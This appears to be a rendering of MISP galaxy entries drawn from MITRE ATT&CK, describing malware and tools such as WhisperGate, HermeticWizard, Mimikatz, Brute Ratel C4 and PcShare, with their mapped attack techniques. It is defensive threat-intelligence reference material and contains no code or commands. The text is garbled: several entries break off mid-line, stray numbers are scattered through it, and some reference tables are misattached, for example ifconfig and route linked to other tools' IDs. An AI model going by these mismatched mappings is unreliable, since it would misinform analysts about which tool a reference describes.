[WhisperGate](https://attack.mitre.org/software/S0689) is a multi-stage wiper designed to look like ransomware that has been used against multiple government, non-profit, and information technology organizations in Ukraine since at least January 2022.(Citation: Cybereason WhisperGate February 2022)(Citation: Unit 42 WhisperGate January 2022)(Citation: Microsoft WhisperGate January 2022)

The tag is: `misp-galaxy:mitre-malware="WhisperGate - S0689"`

WhisperGate - S0689 is also known as:

- WhisperGate

View relationships graph

WhisperGate - S0689 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Bootkit - T1542.003"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="System Checks - T1497.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="InstallUtil - T1218.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Masquerading - T1036"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003"` with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disk Content Wipe - T1561.001" with estimative-language:likelihood-probability="almost-certain"

*Table 7193. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0689">https://attack.mitre.org/software/S0689</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/ukraine-cyber-conflict-cve-2021-32648-whispergate/#whispergate-malware-family">https://unit42.paloaltonetworks.com/ukraine-cyber-conflict-cve-2021-32648-whispergate/#whispergate-malware-family</a></td>
</tr>
</tbody>
</table>
HermeticWizard - S0698

[HermeticWizard](https://attack.mitre.org/software/S0698) is a worm that has been used to spread [HermeticWiper](https://attack.mitre.org/software/S0697) in attacks against organizations in Ukraine since at least 2022. (Citation: ESET Hermetic Wizard March 2022)

The tag is: *misp-galaxy:mitre-malware=*"HermeticWizard - S0698"

HermeticWizard - S0698 is also known as:

- HermeticWizard

View relationships graph

HermeticWizard - S0698 has relationships with:


- uses: *misp-galaxy:mitre-attack-pattern='"Password Guessing - T1110.001"' with estimative-language:likelihood-probability='"almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern='"Match Legitimate Name or Location - T1036.005"' with estimative-language:likelihood-probability='"almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern='"Component Object Model - T1559.001"' with estimative-language:likelihood-probability='"almost-certain"


- uses: *misp-galaxy:mitre-attack-pattern='"Native API - T1106"' with estimative-language:likelihood-probability='"almost-certain"


- uses: *misp-galaxy:mitre-attack-pattern='"Clear Windows Event Logs - T1070.001"' with estimative-language:likelihood-probability='"almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern='"Obfuscated Files or Information - T1027"' with estimative-language:likelihood-probability='"almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern='"Regsvr32 - T1218.010"' with estimative-language:likelihood-probability='"almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern='"Lateral Tool Transfer - T1570"' with estimative-language:likelihood-probability='"almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"


Table 7194. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0698">https://attack.mitre.org/software/S0698</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine">https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine</a></td>
</tr>
</tbody>
</table>

mitre-tool

Name of ATT&CK software.

mitre-tool is a cluster galaxy available in JSON format at this location. The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

Windows Credential Editor - S0005

[Windows Credential Editor](https://attack.mitre.org/software/S0005) is a password dumping tool. (Citation: Amplia WCE)

The tag is: misp-galaxy:mitre-tool="Windows Credential Editor - S0005"

Windows Credential Editor - S0005 is also known as:

- Windows Credential Editor
- WCE

View relationships graph

Windows Credential Editor - S0005 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 7195. Table References
Brute Ratel C4 - S1063

[Brute Ratel C4](https://attack.mitre.org/software/S1063) is a commercial red-teaming and adversarial attack simulation tool that first appeared in December 2020. [Brute Ratel C4](https://attack.mitre.org/software/S1063) was specifically designed to avoid detection by endpoint detection and response (EDR) and antivirus (AV) capabilities, and deploys agents called badgers to enable arbitrary command execution for lateral movement, privilege escalation, and persistence. In September 2022, a cracked version of [Brute Ratel C4](https://attack.mitre.org/software/S1063) was leaked in the cybercriminal underground, leading to its use by threat actors.(Citation: Dark Vortex Brute Ratel C4)(Citation: Palo Alto Brute Ratel July 2022)(Citation: MDSec Brute Ratel August 2022)(Citation: SANS Brute Ratel October 2022)(Citation: Trend Micro Black Basta October 2022)

The tag is: *misp-galaxy:mitre-tool="Brute Ratel C4 - S1063"

Brute Ratel C4 - S1063 is also known as:

- Brute Ratel C4
- BRc4

View relationships graph

Brute Ratel C4 - S1063 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Masquerade File Type - T1036.008" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Reflective Code Loading - T1620" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="Indicator Blocking - T1562.006" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Dynamic API Resolution - T1027.007" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"

Table 7196. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1063">https://attack.mitre.org/software/S1063</a></td>
</tr>
<tr>
<td><a href="https://bruteratel.com/">https://bruteratel.com/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/">https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/</a></td>
</tr>
<tr>
<td><a href="https://www.mdsec.co.uk/2022/08/part-3-how-i-met-your-beacon-brute-ratel/">https://www.mdsec.co.uk/2022/08/part-3-how-i-met-your-beacon-brute-ratel/</a></td>
</tr>
<tr>
<td><a href="https://www.sans.org/blog/cracked-brute-ratel-c4-framework-proliferates-across-the-cybercriminal-underground/">https://www.sans.org/blog/cracked-brute-ratel-c4-framework-proliferates-across-the-cybercriminal-underground/</a></td>
</tr>
</tbody>
</table>

Pass-The-Hash Toolkit - S0122

[Pass-The-Hash Toolkit](https://attack.mitre.org/software/S0122) is a toolkit that allows an adversary to "pass" a password hash (without knowing the original password) to log in to systems. (Citation: Mandiant APT1)

The tag is: *misp-galaxy:mitre-tool="Pass-The-Hash Toolkit - S0122"

View relationships graph

Pass-The-Hash Toolkit - S0122 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002" with estimative-language:likelihood-probability="almost-certain"

Table 7197. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0122">https://attack.mitre.org/software/S0122</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf">https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf</a></td>
</tr>
</tbody>
</table>
CSPY Downloader - S0527

[CSPY Downloader](https://attack.mitre.org/software/S0527) is a tool designed to evade analysis and download additional payloads used by [Kimsuky](https://attack.mitre.org/groups/G0094). (Citation: Cybereason Kimsuky November 2020)

The tag is: `misp-galaxy:mitre-tool="CSPY Downloader - S0527"

CSPY Downloader - S0527 is also known as:

- CSPY Downloader

View relationships graph

CSPY Downloader - S0527 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 7198. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0527">https://attack.mitre.org/software/S0527</a></td>
</tr>
</tbody>
</table>

4263
Imminent Monitor - S0434

Imminent Monitor - S0434 was a commodity remote access tool (RAT) offered for sale from 2012 until 2019, when an operation was conducted to take down the Imminent Monitor infrastructure. Various cracked versions and variations of this RAT are still in circulation. (Citation: Imminent Unit42 Dec 2019)

The tag is: misp-galaxy:mitre-tool="Imminent Monitor - S0434"

Imminent Monitor - S0434 is also known as:

- Imminent Monitor

View relationships graph

Imminent Monitor - S0434 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496" with estimative-
Invoke-PSImage - S0231

[Invoke-PSImage](https://attack.mitre.org/software/S0231) takes a PowerShell script and embeds the bytes of the script into the pixels of a PNG image. It generates a one liner for executing either from a file or from the web. Example of usage is embedding the PowerShell code from the Invoke-Mimikatz module and embed it into an image file. By calling the image file from a macro for example, the macro will download the picture and execute the PowerShell code, which in this case will dump the passwords. (Citation: GitHub Invoke-PSImage)

The tag is: `misp-galaxy:mitre-tool="Invoke-PSImage - S0231"

Invoke-PSImage - S0231 is also known as:

- Invoke-PSImage

View relationships graph

Invoke-PSImage - S0231 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Embedded Payloads - T1027.009"` with estimative-language:likelihood-probability="almost-certain"
ipconfig - S0100

[ipconfig](https://attack.mitre.org/software/S0100) is a Windows utility that can be used to find information about a system's TCP/IP, DNS, DHCP, and adapter configuration. (Citation: TechNet Ipconfig)

The tag is: `misp-galaxy:mitre-tool="ipconfig - S0100"

ipconfig - S0100 is also known as:

- ipconfig

View relationships graph

ipconfig - S0100 has relationships with:


Table 7201. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0100">https://attack.mitre.org/software/S0100</a></td>
</tr>
</tbody>
</table>

Mimikatz - S0002

[Mimikatz](https://attack.mitre.org/software/S0002) is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks. (Citation: Deply Mimikatz) (Citation: Adsecurity Mimikatz Guide)

The tag is: `misp-galaxy:mitre-tool="Mimikatz - S0002"

Mimikatz - S0002 is also known as:

- Mimikatz

View relationships graph

Mimikatz - S0002 has relationships with:


- uses: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Security Support Provider - T1547.005" with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Rogue Domain Controller - T1207" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Golden Ticket - T1558.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1550.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Steal or Forge Authentication Certificates - T1649" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:tool="Mimikatz" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="SID-History Injection - T1134.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Silver Ticket - T1558.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Credential Manager - T1555.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="DCSync - T1003.006" with estimative-language:likelihood-probability="almost-certain"

Table 7202. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://adsecurity.org/?page_id=1821">https://adsecurity.org/?page_id=1821</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/software/S0002">https://attack.mitre.org/software/S0002</a></td>
</tr>
<tr>
<td><a href="https://github.com/gentilkiwi/mimikatz">https://github.com/gentilkiwi/mimikatz</a></td>
</tr>
</tbody>
</table>

**HTRAN - S0040**

[HTRAN](https://attack.mitre.org/software/S0040) is a tool that proxies connections through intermediate hops and aids users in disguising their true geographical location. It can be used by adversaries to hide their location when interacting with the victim networks. (Citation: Operation
HTRAN - S0040 is also known as:

- HTRAN
- HUC Packet Transmit Tool

HTRAN - S0040 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="HTran" with estimative-language:likelihood-probability="likely"

**Table 7203. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0040">https://attack.mitre.org/software/S0040</a></td>
</tr>
</tbody>
</table>

**MCMD - S0500**

[MCMD](https://attack.mitre.org/software/S0500) is a remote access tool that provides remote command shell capability used by [Dragonfly 2.0](https://attack.mitre.org/groups/G0074).(Citation: Secureworks MCMD July 2019)

The tag is: misp-galaxy:mitre-tool="MCMD - S0500"

MCMD - S0500 is also known as:

- MCMD

MCMD - S0500 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

**Table 7204. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0500">https://attack.mitre.org/software/S0500</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/mcmd-malware-analysis">https://www.secureworks.com/research/mcmd-malware-analysis</a></td>
</tr>
</tbody>
</table>

**pwdump - S0006**

[pwdump](https://attack.mitre.org/software/S0006) is a credential dumper. (Citation: Wikipedia pwdump)

The tag is: *misp-galaxy:mitre-tool="pwdump - S0006"

pwdump - S0006 is also known as:

- pwdump

**View relationships graph**

pwdump - S0006 has relationships with:


**Table 7205. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0006">https://attack.mitre.org/software/S0006</a></td>
</tr>
</tbody>
</table>
gsecdump - S0008

[gsecdump](https://attack.mitre.org/software/S0008) is a publicly-available credential dumper used to obtain password hashes and LSA secrets from Windows operating systems. (Citation: TrueSec Gsecdump)

The tag is: *misp-galaxy:mitre-tool="gsecdump - S0008"*

gsecdump - S0008 is also known as:

- gsecdump

View relationships graph

gsecdump - S0008 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004"* with *estimative-language:likelihood-probability="almost-certain"*
- similar: *misp-galaxy:malpedia="gsecdump"* with *estimative-language:likelihood-probability="likely"*

Table 7206. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0008">https://attack.mitre.org/software/S0008</a></td>
</tr>
<tr>
<td><a href="https://www.truesec.se/sakerhet/verktyg/saakerhet/gsecdump_v2.0b5">https://www.truesec.se/sakerhet/verktyg/saakerhet/gsecdump_v2.0b5</a></td>
</tr>
</tbody>
</table>

at - S0110

[at](https://attack.mitre.org/software/S0110) is used to schedule tasks on a system to run at a specified date or time.(Citation: TechNet At)(Citation: Linux at)

The tag is: *misp-galaxy:mitre-tool="at - S0110"*

at - S0110 is also known as:

- at
- at.exe

View relationships graph

at - S0110 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="At - T1053.002"* with *estimative-language:likelihood-probability="almost-certain"*

4270
### ifconfig - S0101

[ifconfig](https://attack.mitre.org/software/S0110) is a Unix-based utility used to gather information about and interact with the TCP/IP settings on a system. (Citation: Wikipedia Ifconfig)

The tag is: `misp-galaxy:mitre-tool="ifconfig - S0101"

View relationships graph

ifconfig - S0101 has relationships with:


### Fgdump - S0120

[Fgdump](https://attack.mitre.org/software/S0120) is a Windows password hash dumper. (Citation: Mandiant APT1)

The tag is: `misp-galaxy:mitre-tool="Fgdump - S0120"

Fgdump - S0120 is also known as:

- Fgdump

View relationships graph

Fgdump - S0120 has relationships with:


Table 7207. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0110">https://attack.mitre.org/software/S0110</a></td>
</tr>
</tbody>
</table>

Table 7208. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0101">https://attack.mitre.org/software/S0101</a></td>
</tr>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Ifconfig">https://en.wikipedia.org/wiki/Ifconfig</a></td>
</tr>
</tbody>
</table>

Table 7209. Table References
nbtstat - S0102

[nbtstat](https://attack.mitre.org/software/S0102) is a utility used to troubleshoot NetBIOS name resolution. (Citation: TechNet Nbtstat)

The tag is: **misp-galaxy:mitre-tool="nbtstat - S0102"**

View relationships graph

nbtstat - S0102 has relationships with:

- uses: **misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049"** with estimative-language:likelihood-probability="almost-certain"

Table 7210. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0102">https://attack.mitre.org/software/S0102</a></td>
</tr>
</tbody>
</table>

route - S0103

[route](https://attack.mitre.org/software/S0103) can be used to find or change information within the local system IP routing table. (Citation: TechNet Route)

The tag is: **misp-galaxy:mitre-tool="route - S0103"**

View relationships graph

route - S0103 has relationships with:


Table 7211. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0102">https://attack.mitre.org/software/S0102</a></td>
</tr>
</tbody>
</table>
Rclone - S1040

[Rclone](https://attack.mitre.org/software/S1040) is a command line program for syncing files with cloud storage services such as Dropbox, Google Drive, Amazon S3, and MEGA. [Rclone](https://attack.mitre.org/software/S1040) has been used in a number of ransomware campaigns, including those associated with the [Conti](https://attack.mitre.org/software/S0575) and DarkSide Ransomware-as-a-Service operations.(Citation: Rclone)(Citation: Rclone Wars)(Citation: Detecting Rclone)(Citation: DarkSide Ransomware Gang)(Citation: DFIR Conti Bazar Nov 2021)

The tag is: `misp-galaxy:mitre-tool="Rclone - S1040"

Rclone - S1040 is also known as:

- Rclone

View relationships graph

Rclone - S1040 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030" with estimative-language:likelihood-probability="almost-certain"

Table 7212. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1040">https://attack.mitre.org/software/S1040</a></td>
</tr>
<tr>
<td><a href="https://rclone.org">https://rclone.org</a></td>
</tr>
<tr>
<td><a href="https://redcanary.com/blog/rclone-mega-extortion/">https://redcanary.com/blog/rclone-mega-extortion/</a></td>
</tr>
<tr>
<td><a href="https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/">https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/darkside-ransomware/">https://unit42.paloaltonetworks.com/darkside-ransomware/</a></td>
</tr>
</tbody>
</table>

netstat - S0104

[netstat](https://attack.mitre.org/software/S0104) is an operating system utility that displays active
TCP connections, listening ports, and network statistics. (Citation: TechNet Netstat)

The tag is: *misp-galaxy:mitre-tool="netstat - S0104"

*netstat - S0104* is also known as:

- netstat

**View relationships graph**

*netstat - S0104* has relationships with:


### Table 7213. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0104">https://attack.mitre.org/software/S0104</a></td>
</tr>
</tbody>
</table>

**PcShare - S1050**

[PcShare](https://attack.mitre.org/software/S1050) is an open source remote access tool that has been modified and used by Chinese threat actors, most notably during the FunnyDream campaign since late 2018. (Citation: Bitdefender FunnyDream Campaign November 2020) (Citation: GitHub PcShare 2014)

The tag is: *misp-galaxy:mitre-tool="PcShare - S1050"

*PcShare - S1050* is also known as:

- PcShare

**View relationships graph**

*PcShare - S1050* has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Screen Capture - T1113"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Native API - T1106"* with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Invalid Code Signature - T1036.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1546.015" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 7214. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
